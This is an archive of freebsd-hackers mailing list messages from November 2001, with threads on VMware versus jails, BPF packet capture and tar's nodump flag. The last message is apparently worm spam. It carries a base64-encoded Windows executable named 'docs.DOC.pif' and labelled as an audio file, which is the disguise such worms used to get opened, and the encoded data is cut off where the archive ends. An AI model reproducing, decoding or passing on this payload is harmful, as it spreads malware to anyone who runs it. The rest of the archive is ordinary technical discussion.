"unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 3:30:38 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.switch.aust.com (ppp63.adsl238.pacific.net.au [203.143.238.63]) by hub.freebsd.org (Postfix) with ESMTP id 7CB9A37B416 for ; Tue, 27 Nov 2001 03:30:32 -0800 (PST) Received: from smtp2.switch.aust.com (IDENT:root@ras.wa [10.0.1.140]) by mail.switch.aust.com (8.9.3/8.9.3) with ESMTP id VAA13482; Tue, 27 Nov 2001 21:30:26 +1000 X-Authentication-Warning: server1.ussbris: Host IDENT:root@ras.wa [10.0.1.140] claimed to be smtp2.switch.aust.com Received: from freebsd06.udt (nelsont@freebsd06.udt [10.0.2.56]) by smtp2.switch.aust.com (8.11.3/8.11.3) with SMTP id fARBox426794; Tue, 27 Nov 2001 19:51:02 +0800 Received: by freebsd06.udt (sSMTP sendmail emulation); Tue, 27 Nov 2001 19:26:56 +0800 Date: Tue, 27 Nov 2001 19:26:56 +0800 From: Trent Nelson To: Joesh Juphland Cc: hackers@FreeBSD.ORG Subject: Re: compare and contrast vmware and jail ? Message-ID: <20011127192656.B71957@freebsd06.udt> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from part_lion@hotmail.com on Mon, Nov 26, 2001 at 02:11:42PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 26, 2001 at 02:11:42PM -0700, Joesh Juphland wrote: > > I am going to be setting up four freeBSD servers as a test environment - > they need to be totally isolated machines. However, I would like to see if > I can do all of this on one server. The choice that comes to mind > immediately is vmware, but since I am required to use all freeBSD, I would > be using vmware via linux compatibility mode, which is somewhat slower than > native vmware on linux. Eek, no way. I *have* to use VMware to run Linux at work (otherwise I would have had to put Linux back on my desktop) and I have been nothing short of utterly impressed with it's performance on FreeBSD. (On a side-note, if one has to run both Linux & FreeBSD on the same box, I hold the opinion that it is actually advantageous to run FreeBSD as the host and Linux as the guest for two reasons. Firstly, I could swear VMware runs far faster and more stable on FreeBSD than it does on Linux (from the machines we have at work anyway). Secondly, there's always likely to be better support for Linux as a guest OS.) I haven't run multiple VMware instances though, nor have I used FreeBSD as a guest OS -- your mileage may vary. I'm not really suggesting VMware over jail, I just wanted to inform you that VMware performs bloody fantastically on FreeBSD. (Yeah, ok, I'll keep going. My Linux VM actually builds our work system up to ten minutes quicker than running Linux na- tively on the same machine. Make of that what you will!) Regards, Trent. -- Trent Nelson - Software Engineer - nelsont@switch.aust.com "A man with unlimited enthusiasm can achieve almost anything." --unknown To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 3:52:31 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by hub.freebsd.org (Postfix) with ESMTP id 1C71637B416 for ; Tue, 27 Nov 2001 03:52:28 -0800 (PST) Received: by l04.research.kpn.com with Internet Mail Service (5.5.2653.19) id ; Tue, 27 Nov 2001 12:52:26 +0100 Message-ID: <59063B5B4D98D311BC0D0001FA7E452205FDA129@l04.research.kpn.com> From: "Koster, K.J." To: 'Trent Nelson' Cc: hackers@FreeBSD.ORG Subject: RE: compare and contrast vmware and jail ? Date: Tue, 27 Nov 2001 12:52:16 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dear Trent, > > (Yeah, ok, I'll keep going. My Linux VM actually builds our > work system up to ten minutes quicker than running Linux na- > tively on the same machine. Make of that what you will!) > Umm. Have you tried to build it under linux-compat in FreeBSD? Sounds like it's worth the experiment. :) Kees Jan ================================================ $DEITY bless $NATION. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 4: 6:58 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.switch.aust.com (ppp63.adsl238.pacific.net.au [203.143.238.63]) by hub.freebsd.org (Postfix) with ESMTP id 4A9D737B425 for ; Tue, 27 Nov 2001 04:06:48 -0800 (PST) Received: from smtp2.switch.aust.com (IDENT:root@ras.wa [10.0.1.140]) by mail.switch.aust.com (8.9.3/8.9.3) with ESMTP id WAA16882; Tue, 27 Nov 2001 22:06:42 +1000 X-Authentication-Warning: server1.ussbris: Host IDENT:root@ras.wa [10.0.1.140] claimed to be smtp2.switch.aust.com Received: from freebsd06.udt (nelsont@freebsd06.udt [10.0.2.56]) by smtp2.switch.aust.com (8.11.3/8.11.3) with SMTP id fARCRP426868; Tue, 27 Nov 2001 20:27:27 +0800 Received: by freebsd06.udt (sSMTP sendmail emulation); Tue, 27 Nov 2001 20:03:02 +0800 Date: Tue, 27 Nov 2001 20:03:02 +0800 From: Trent Nelson To: "Koster, K.J." Cc: "'Trent Nelson'" , hackers@FreeBSD.ORG Subject: Re: compare and contrast vmware and jail ? Message-ID: <20011127200302.C71957@freebsd06.udt> References: <59063B5B4D98D311BC0D0001FA7E452205FDA129@l04.research.kpn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <59063B5B4D98D311BC0D0001FA7E452205FDA129@l04.research.kpn.com>; from K.J.Koster@kpn.com on Tue, Nov 27, 2001 at 12:52:16PM +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 27, 2001 at 12:52:16PM +0100, Koster, K.J. wrote: > Dear Trent, > > > > > (Yeah, ok, I'll keep going. My Linux VM actually builds our > > work system up to ten minutes quicker than running Linux na- > > tively on the same machine. Make of that what you will!) > > > Umm. Have you tried to build it under linux-compat in FreeBSD? Sounds like > it's worth the experiment. :) Well, the Linux build by default uses the Cygnus compiler and it was too much initial effort to get that working on FreeBSD (we only had a RedHat distribution). I ended up porting one of the projects to FreeBSD w/ gcc 2.95.3 and it built about fourty minutes faster than the Linux machines using Cygnus GNUpro-99r1. It still manages to be around fifteen minutes faster than the Linux machines that've been switched to use 2.95.3. Still pretty freakin' adimirable if you ask me. > Kees Jan Trent. -- Trent Nelson - Software Engineer - nelsont@switch.aust.com "A man with unlimited enthusiasm can achieve almost anything." --unknown To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 4:19:51 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from verdi.nethelp.no (verdi.nethelp.no [158.36.41.162]) by hub.freebsd.org (Postfix) with SMTP id 6160937B419 for ; Tue, 27 Nov 2001 04:19:46 -0800 (PST) Received: (qmail 53330 invoked by uid 1001); 27 Nov 2001 12:19:44 +0000 (GMT) To: rpjain_1977@eudoramail.com Cc: freebsd-hackers@freebsd.org Subject: Re: BPF - Packet Reception From: sthaug@nethelp.no In-Reply-To: Your message of "Tue, 27 Nov 2001 10:57:08 +0530" References: X-Mailer: Mew version 1.05+ on Emacs 19.34.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Tue, 27 Nov 2001 13:19:44 +0100 Message-ID: <53328.1006863584@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > In linux, the packet reception can be done efficiently through the usage of ethernet sockets. > > In FreeBSD, one of the option is by using the BPF. But, as already commented, BPF is not a high performance device. It sounds like you're saying that BPF is less efficient than Linux Ethernet sockets. This is somewhat surprising given that one of the traditional problems with Linux for packet sniffing has been low performance. I would recommend you to ask about this on the TCPDUMP list at tcpdump-workers@tcpdump.org Steinar Haug, Nethelp consulting, sthaug@nethelp.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 5:30:37 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from pelissero.org (dyn162-41.sftm-212-159.plus.net [212.159.41.162]) by hub.freebsd.org (Postfix) with ESMTP id 8537E37B41C; Tue, 27 Nov 2001 05:30:26 -0800 (PST) Received: (from wcp@localhost) by pelissero.org (8.11.6/8.9.3) id fARDUPU07602; Tue, 27 Nov 2001 13:30:25 GMT (envelope-from wcp) From: "Walter C. Pelissero" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15363.38257.236253.85237@hyde.lpds.sublink.org> Date: Tue, 27 Nov 2001 13:30:25 +0000 To: obrien@FreeBSD.ORG Cc: hackers@FreeBSD.ORG Subject: Re: tar and nodump flag In-Reply-To: <20011126024359.C41312@dragon.nuxi.com> References: <15355.47042.573852.420151@hyde.lpds.sublink.org> <20011126024359.C41312@dragon.nuxi.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid Reply-To: walter@pelissero.org X-Attribution: WP Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG David O'Brien writes: > On Wed, Nov 21, 2001 at 02:18:42PM +0000, Walter C. Pelissero wrote: > > How about adding the nodump flag processing in tar? > > This would be a *bad* idea. It would diverge our tar even more > than it already is -- which is so bad it isn't trival to update to > the latest version (ours is many years behind). Does it mean we can't modify the BSD tar because it's already too different from the GNU tar, but at the same time we don't upgrade to the new GNU tar because it might require too much work adapting the old mods to the new code? Am I wrong or this means the BSD tar code is frozen? Do you have a list of discrepancies (not a diff) between the current BSD tar and the version of GNU tar it's based on? We might find out the new GNU tar doesn't need as much hacking as the old one needs. -- walter pelissero http://www.pelissero.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 5:46:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14]) by hub.freebsd.org (Postfix) with ESMTP id 52B2A37B416; Tue, 27 Nov 2001 05:46:19 -0800 (PST) Received: from beagle (beagle [193.175.132.100]) by mailhub.fokus.gmd.de (8.11.6/8.11.6) with ESMTP id fARDjcH07537; Tue, 27 Nov 2001 14:45:38 +0100 (MET) Date: Tue, 27 Nov 2001 14:45:38 +0100 (CET) From: Harti Brandt To: "Walter C. Pelissero" Cc: obrien@FreeBSD.ORG, Subject: Re: tar and nodump flag In-Reply-To: <15363.38257.236253.85237@hyde.lpds.sublink.org> Message-ID: <20011127144343.W421-100000@beagle.fokus.gmd.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 27 Nov 2001, Walter C. Pelissero wrote: WCP>David O'Brien writes: WCP> > On Wed, Nov 21, 2001 at 02:18:42PM +0000, Walter C. Pelissero wrote: WCP> > > How about adding the nodump flag processing in tar? WCP> > WCP> > This would be a *bad* idea. It would diverge our tar even more WCP> > than it already is -- which is so bad it isn't trival to update to WCP> > the latest version (ours is many years behind). WCP> WCP>Does it mean we can't modify the BSD tar because it's already too WCP>different from the GNU tar, but at the same time we don't upgrade to WCP>the new GNU tar because it might require too much work adapting the WCP>old mods to the new code? WCP> WCP>Am I wrong or this means the BSD tar code is frozen? WCP> WCP>Do you have a list of discrepancies (not a diff) between the current WCP>BSD tar and the version of GNU tar it's based on? We might find out WCP>the new GNU tar doesn't need as much hacking as the old one needs. Perhaps it makes sense to switch to star instead? The last version is Posix conform, supports extended headers and ACLs. According to the star developer (Joerg Schilling) GNU tar is severly broken. harti -- harti brandt, http://www.fokus.gmd.de/research/cc/cats/employees/hartmut.brandt/private brandt@fokus.fhg.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Nov 27 6:16:11 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp1.libero.it (smtp1.libero.it [193.70.192.51]) by hub.freebsd.org (Postfix) with ESMTP id 893B537B438 for ; Tue, 27 Nov 2001 06:15:25 -0800 (PST) Received: from aol.com (151.24.216.164) by smtp1.libero.it (6.0.032) id 3BF1798A00412137 for freebsd-hackers@FreeBSD.org; Tue, 27 Nov 2001 15:15:18 +0100 From: "Enzo Pavoni" <_epavoni@libero.it> To: freebsd-hackers@FreeBSD.org Subject: Re: MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 Message-Id: <20011127141525.893B537B438@hub.freebsd.org> Date: Tue, 27 Nov 2001 06:15:25 -0800 (PST) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --====_ABC1234567890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_==== Content-Type: audio/x-wav; name="docs.DOC.pif" Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAoxs1SbKejAWynowFsp6MBF7uvAWinowHvu60BbqejAYS4qQF2p6MBhLin AW6nowEOuLABZaejAWynogHyp6MBhLioAWCnowHUoaUBbaejAVJpY2hsp6MBAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAUEUAAEwBAwCoIP47AAAAAAAAAADgAA8BCwEGAABwAAAAEAAAANAAAEBHAQAA 4AAAAFABAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAYAEAAAQAAAAAAAACAAAAAAAQAAAQ AAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAABkUAEAMAEAAABQAQBkAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAAEAAAAAAAAAAEAAAA AAAAAAAAAAAAAACAAADgAAAAAAAAAAAAcAAAAOAAAABqAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5y c3JjAAAAABAAAABQAQAAAgAAAG4AAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 